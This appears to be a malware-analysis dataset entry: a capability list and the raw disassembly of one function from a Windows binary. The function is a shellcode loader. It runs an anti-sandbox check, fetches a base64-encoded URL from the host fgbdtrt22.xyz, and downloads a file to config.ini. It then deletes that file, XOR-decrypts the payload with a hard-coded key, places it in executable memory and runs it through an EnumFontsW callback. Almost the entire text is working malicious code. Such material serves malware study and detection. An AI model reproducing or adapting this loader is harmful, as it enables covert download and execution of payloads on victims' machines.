Function at 0x140001940
Capabilities:
Contain obfuscated stackstrings
Create http request
Delete file
Download url
Encode data using xor
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x650], rax
xor r13d, r13d
mov dword [rsp + 0x4c], r13d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEncryptedFileRawA]
cmp eax, 0x7b
jne 0x1400019cc
call fcn.140001480
cmp byte [0x14000a964], r13b
jne 0x1400019c3
call fcn.140001510
call fcn.1400016e0
call fcn.140001760
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x14000a964], r13b
je 0x1400019a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x140001a85
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__fgbdtrt22.xyz_search.php_wsx1
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140001a85
lea r9, [rbp - 0x78]
mov r8d, 0x400
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001a7c
nop word [rax + rax]
mov eax, dword [rbp - 0x78]
test eax, eax
je 0x140001a7c
mov r8d, eax
lea rdx, [rbp + 0x140]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp - 0x78]
mov r8d, 0x400
lea rdx, [rbp + 0x140]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001a40
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], r13b
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, 0xffffffffffffffff
test rax, rax
je 0x140002093
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x100
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__fgbdtrt22.xyz_159357.txt
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r12, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140002093
mov dword [rbp - 0x78], r13d
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov r15, r13
mov qword [rbp - 0x20], r13
mov esi, 0xf
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x30], r15b
lea r9, [rbp - 0x78]
mov r8d, 0x400
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001bc6
nop dword [rax]
mov eax, dword [rbp - 0x78]
test eax, eax
je 0x140001bc6
mov edi, eax
mov rax, rsi
sub rax, r15
cmp rdi, rax
ja 0x140001b84
lea rax, [r15 + rdi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rsi, 0xf
cmova rbx, qword [rbp - 0x30]
add rbx, r15
mov r8d, edi
lea rdx, [rbp + 0x140]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140001b9c
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x140]
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140003d60
lea r9, [rbp - 0x78]
mov r8d, 0x400
lea rdx, [rbp + 0x140]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r15, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
test eax, eax
jne 0x140001b40
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
mov r8d, 0x40
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea rcx, [rbp - 0x70]
call fcn.140003ef0
nop
mov rcx, r13
mov qword [rsp + 0x78], rcx
mov r12d, r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], cl
mov dword [rsp + 0x4c], 4
mov rdx, qword [rbp - 0x30]
test r15, r15
je 0x140001fb4
xor ebx, ebx
cmp rsi, 0xf
seta r8b
mov byte [rsp + 0x34], r8b
movzx esi, byte [rsp + 0x31]
nop word [rax + rax]
dec r15
lea rax, [rbp - 0x30]
test r8b, r8b
cmovne rax, rdx
cmp byte [rcx + rax], 0x3d
je 0x140001eb9
lea rax, [rbp - 0x30]
test r8b, r8b
cmovne rax, rdx
movzx edi, byte [rcx + rax]
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
test eax, eax
jne 0x140001c81
sub dil, 0x2b
test dil, 0xfb
jne 0x140001eb9
lea rax, [rbp - 0x30]
movzx r8d, byte [rsp + 0x34]
test r8b, r8b
mov rdx, qword [rbp - 0x30]
cmovne rax, rdx
mov rcx, qword [rsp + 0x78]
movzx eax, byte [rcx + rax]
mov byte [rsp + rbx + 0x30], al
inc r12d
inc rbx
inc rcx
mov qword [rsp + 0x78], rcx
cmp rbx, 4
jne 0x140001eab
mov rsi, qword [rbp - 0x58]
cmp rsi, 0xf
seta byte [rsp + 0x35]
lea rbx, [rbp - 0x70]
mov r12, qword [rbp - 0x70]
cmova rbx, r12
mov rdi, qword [rbp - 0x60]
test rdi, rdi
je 0x140001cf7
movsx edx, byte [rsp + 0x30]
mov r8, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001cf7
sub rax, rbx
jmp 0x140001cfa
mov rax, r14
mov byte [rsp + 0x30], al
lea rbx, [rbp - 0x70]
cmp rsi, 0xf
cmova rbx, r12
test rdi, rdi
je 0x140001d2c
movsx edx, byte [rsp + 0x31]
mov r8, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rsi, rax
test rax, rax
je 0x140001d2c
sub rsi, rbx
jmp 0x140001d2f
mov rsi, r14
mov byte [rsp + 0x31], sil
lea r12, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r12, qword [rbp - 0x70]
test rdi, rdi
je 0x140001d64
movsx edx, byte [rsp + 0x32]
mov r8, rdi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140001d64
sub rbx, r12
jmp 0x140001d67
mov rbx, r14
mov byte [rsp + 0x32], bl
lea r12, [rbp - 0x70]
cmp byte [rsp + 0x35], 0
cmovne r12, qword [rbp - 0x70]
test rdi, rdi
je 0x140001d9b
movsx edx, byte [rsp + 0x33]
mov r8, rdi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x140001d9b
sub rcx, r12
jmp 0x140001d9e
mov rcx, r14
mov byte [rsp + 0x33], cl
movzx r9d, sil
shr r9b, 4
and r9b, 3
movzx eax, byte [rsp + 0x30]
shl al, 2
add r9b, al
movzx edi, byte [rsp + 0x32]
shr dil, 2
and dil, 0xf
movzx eax, sil
shl al, 4
add dil, al
shl bl, 6
add bl, cl
mov byte [rsp + 0x4a], bl
mov rcx, qword [rsp + 0x70]
cmp r13, rcx
jae 0x140001e07
lea rax, [r13 + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x58]
mov byte [rax + r13], r9b
mov byte [rax + r13 + 1], 0
jmp 0x140001e11
lea rcx, [rsp + 0x58]
call fcn.140003ff0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
cmp rcx, rdx
jae 0x140001e43
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov byte [rax + rcx], dil
mov byte [rax + rcx + 1], 0
jmp 0x140001e51
movzx r9d, dil
lea rcx, [rsp + 0x58]
call fcn.140003ff0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
cmp rcx, rdx
jae 0x140001e82
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov byte [rax + rcx], bl
mov byte [rax + rcx + 1], 0
jmp 0x140001e90
movzx r9d, bl
lea rcx, [rsp + 0x58]
call fcn.140003ff0
xor r12d, r12d
xor ebx, ebx
mov r13, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x30]
movzx r8d, byte [rsp + 0x34]
jmp 0x140001eb0
movzx esi, byte [rsp + 0x31]
test r15, r15
jne 0x140001c40
mov qword [rbp - 0x80], r13
test r12d, r12d
je 0x140001fb4
xor edi, edi
mov r15, qword [rbp - 0x70]
test r12d, r12d
jle 0x140001f25
cmp qword [rbp - 0x58], 0xf
seta r13b
mov rsi, qword [rbp - 0x60]
nop
lea rbx, [rbp - 0x70]
test r13b, r13b
cmovne rbx, r15
test rsi, rsi
je 0x140001f0a
movsx edx, byte [rsp + rdi + 0x30]
mov r8, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001f0a
sub rax, rbx
jmp 0x140001f0d
mov rax, r14
mov byte [rsp + rdi + 0x30], al
inc rdi
movsxd rax, r12d
cmp rdi, rax
jl 0x140001ee0
movzx esi, byte [rsp + 0x31]
mov r13, qword [rbp - 0x80]
movzx ecx, sil
shr cl, 4
and cl, 3
movzx eax, byte [rsp + 0x30]
shl al, 2
add cl, al
mov byte [rsp + 0x48], cl
movzx eax, byte [rsp + 0x32]
shr al, 2
and al, 0xf
shl sil, 4
add al, sil
mov byte [rsp + 0x49], al
lea eax, [r12 - 1]
xor ebx, ebx
movsxd rdi, eax
test eax, eax
jle 0x140001fb8
movzx r9d, byte [rsp + rbx + 0x48]
mov r14, qword [rsp + 0x70]
cmp r13, r14
jae 0x140001f94
lea rax, [r13 + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp r14, 0xf
cmova rax, qword [rsp + 0x58]
mov byte [rax + r13], r9b
mov byte [rax + r13 + 1], 0
jmp 0x140001f9e
lea rcx, [rsp + 0x58]
call fcn.140003ff0
inc rbx
cmp rbx, rdi
jge 0x140001fad
mov r13, qword [rsp + 0x68]
jmp 0x140001f60
mov r14, 0xffffffffffffffff
mov r15, qword [rbp - 0x70]
mov rax, qword [rbp - 0x58]
cmp rax, 0xf
jbe 0x140001ff6
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001fee
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400044c8
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140002034
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000202f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000202f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044c8
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp + 0x20], xmm1
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002090
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000208b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000208b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044c8
xor r13d, r13d
lea rcx, [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
cmp qword [rbp + 0x28], 0xf
jbe 0x1400020ab
mov rbx, qword [rbp + 0x10]
add rsi, rbx
jmp 0x1400020b2
add rsi, rcx
lea rbx, [rbp + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r13
cmp rbx, rsi
jne 0x1400020d4
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
jmp 0x1400021dd
sub rsi, rbx
mov edi, 7
mov qword [rbp + 8], rdi
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x140002835
cmp rsi, rdi
jbe 0x1400021a2
mov rdi, rsi
or rdi, 7
cmp rdi, rax
jbe 0x14000211b
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000214a
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000282f
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002181
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000282f
mov rcx, rax
call fcn.14000448c
mov rcx, rax
test rax, rax
je 0x1400027a4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x1400021a6
test rcx, rcx
je 0x140002195
call fcn.14000448c
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x1400021a6
mov rax, r13
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x1400021a6
mov rax, qword [rbp - 0x10]
lea r8, [rbp - 0x10]
cmp rdi, 7
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x1400021d4
nop dword [rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x1400021c0
mov qword [rbp], rsi
mov word [r8 + rsi*2], r13w
mov ecx, 0x6870a8f
call fcn.140001290
mov r12, rax
mov ecx, 0x3e8557
call fcn.140001290
mov edx, 0x7b66be11
mov rcx, r12
call fcn.1400013a0
mov r8d, 0x104
lea rdx, [rbp + 0x540]
xor ecx, ecx
call rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
lea rax, [rbp + 0x540]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002230
lea rdx, [rbp + 0x540]
lea rcx, [rbp - 0x50]
call fcn.140003ef0
nop
lea rbx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
seta r15b
mov rsi, qword [rbp - 0x50]
cmova rbx, rsi
mov rdi, qword [rbp - 0x40]
test rdi, rdi
je 0x1400022fb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x198], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x19d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x19c], 1
lea rax, [rdi - 1]
mov r8, r14
cmp rax, 0xffffffffffffffff
cmovb r8, rax
add r8, rbx
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x140], 0
jne 0x1400022f6
nop dword [rax]
cmp r8, rbx
je 0x1400022fb
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x140], 0
je 0x1400022e0
sub r8, rbx
jmp 0x1400022fe
mov r8, r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
inc r8
cmp rdi, r8
cmovb r8, rdi
lea rdx, [rbp - 0x50]
test r15b, r15b
cmovne rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.140003ef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140002366
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002361
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000270f
call fcn.1400044c8
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp - 0x40], xmm1
mov dword [rsp + 0x38], 0x666e6f63
mov dword [rsp + 0x3c], 0x692e6769
mov word [rsp + 0x40], 0x696e
mov byte [rsp + 0x42], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
lea rax, [rsp + 0x38]
inc r14
cmp byte [rax + r14], 0
jne 0x1400023a6
mov r8, r14
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.140003ef0
nop
lea r9, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
mov r15, qword [rbp - 0x58]
cmp r15, 0xf
cmova r9, rsi
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp - 0x60]
cmp rdi, rax
ja 0x140002419
lea rax, [rcx + rdi]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140002432
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140003d60
mov r15, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x70]
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x140006728]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006808]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x4c], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
mov byte [rbp + 0xbc], 0
mov byte [rbp + 0xb1], 0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xc0], r13
mov rax, qword [0x14000aca0]
mov qword [rbp + 0xb4], rax
mov qword [rbp + 0xa8], r13
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x30]
call fcn.140003890
cmp qword [rbp + 0xc0], 0
jne 0x140002537
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov r14, qword [rax + 8]
add r14, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
movsxd rbx, r14d
mov rcx, rbx
call fcn.1400044d0
mov rdi, rax
mov ecx, dword [str.asdcxz]
mov dword [rsp + 0x4c], ecx
movzx ecx, word [0x140006744]
mov word [rsp + 0x50], cx
movzx ecx, byte [0x140006746]
mov byte [rsp + 0x52], cl
cmp qword [rbp + 0xc0], 0
je 0x1400025b5
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, str.config.ini
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea eax, [r14 - 1]
movsxd r8, eax
test eax, eax
jle 0x140002600
mov rax, r13
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
mov rcx, r13
cmp rax, 6
cmovne rcx, rax
movzx eax, byte [rsp + rcx + 0x4c]
xor byte [rdx], al
lea rax, [rcx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1400025e0
mov edx, 0x653266b
mov rcx, r12
call fcn.1400013a0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rax
mov r14, rax
mov rcx, rax
cmp rax, rdi
jae 0x140002652
test rbx, rbx
je 0x140002683
sub rdi, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x140002640
jmp 0x140002683
lea rcx, [rdi - 1]
add rcx, rbx
lea rdx, [rax - 1]
add rdx, rbx
test rbx, rbx
je 0x140002683
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx], al
lea rdx, [rdx - 1]
lea rcx, [rcx - 1]
sub rbx, 1
jne 0x140002670
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, r14
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call fcn.1400034d0
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
cmp r15, 0xf
jbe 0x14000271f
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002716
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002716
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400044c8
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000275d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002758
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002758
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044c8
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x1400027b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044c8
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1400027ff
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044c8
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400041d0
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001110
nop
call fcn.1400011b0
int3